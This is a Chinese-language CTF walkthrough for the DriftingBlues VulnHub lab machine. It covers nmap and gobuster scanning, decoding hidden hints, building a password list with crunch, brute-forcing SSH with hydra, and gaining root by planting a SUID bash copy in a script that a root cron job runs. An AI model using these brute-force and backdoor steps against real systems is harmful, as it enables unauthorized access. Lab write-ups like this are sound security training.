描述
获得标志
难度:容易
关于vm:已测试并从virtualbox导出
目录
1.nmap端口扫描
2.目录扫描
二、漏洞探测&利用
三、getshell & 提权
四、总结
一、信息收集
nmap -A -T4 -v -p- 192.168.43.73
先将driftingblues.box加入到hosts文件中。
gobuster dir -u http://driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php git txt html
没有发现有用信息,查看源代码,发现 L25vdGVmb3JraW5nZmlzaC50eHQ=
base64解码得:/noteforkingfish.txt
echo L25vdGVmb3JraW5nZmlzaC50eHQ= | base64 -d
访问http://driftingblues.box//noteforkingfish.txt,发现是Ook!加密,在线解密得:
my man, i know you are new but you should know how to use host file to reach our secret location. -eric
得到提示use host file,应该是添加子域名到hosts中,所以扫描driftingblues.box的子域名。
gobuster vhost -u driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt | grep "Status: 200"
将test.driftingblues.box 域名加入 etc/hosts 文件中
再次目录扫描
gobuster dir -u http://test.driftingblues.box/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x php,git,txt,html
访问robots.txt,得到:
User-agent: *
Disallow: /ssh_cred.txt
Allow: /never
Allow: /never/gonna
Allow: /never/gonna/give
Allow: /never/gonna/give/up
访问/ssh_cred.txt,得到ssh的密码提示:1mw4ckyyucky + 一位数字
创造密码字典,root@kali:~/opt/vulnhub#
crunch 13 13 -t 1mw4ckyyucky%>>sshpass.txt
ssh密码爆破:
hydra -l eric -P sshpass.txt 192.168.43.73 ssh
[22][ssh] host: 192.168.43.73 login: eric password: 1mw4ckyyucky6
登入ssh
得到一个flag
提权
sudo -l; cat /etc/crontab; history; cat /etc/passwd; cat /etc/shawod; 等操作无效
翻翻备份文件
Google提示:
eric@driftingblues:/tmp$ echo 'cp /bin/bash /tmp/getroot; chmod +s /tmp/getroot' > /tmp/emergency
eric@driftingblues:/tmp$ chmod +x emergency
eric@driftingblues:/tmp$ ./getroot -p
得到第二个flag
eric@driftingblues:/var$ cat backups/backup.sh
#!/bin/bash
/usr/bin/zip -r -0 /tmp/backup.zip /var/www/
/bin/chmod
#having a backdoor would be nice
sudo /tmp/emergency
eric@driftingblues:/tmp$ echo 'cp /bin/bash /tmp/getroot; chmod +s /tmp/getroot' > /tmp/emergency
eric@driftingblues:/tmp$ chmod +x emergency
eric@driftingblues:/tmp$ ./getroot -p
#个人理解:隔一段时间,系统会自动执行backup.sh,该脚本以root权限执行/tmp/emergency,所以我们将/bin/bash复制到/tmp/目录下重新命名getroot,并给getroot以suid权限,写入到/tmp/emergency中。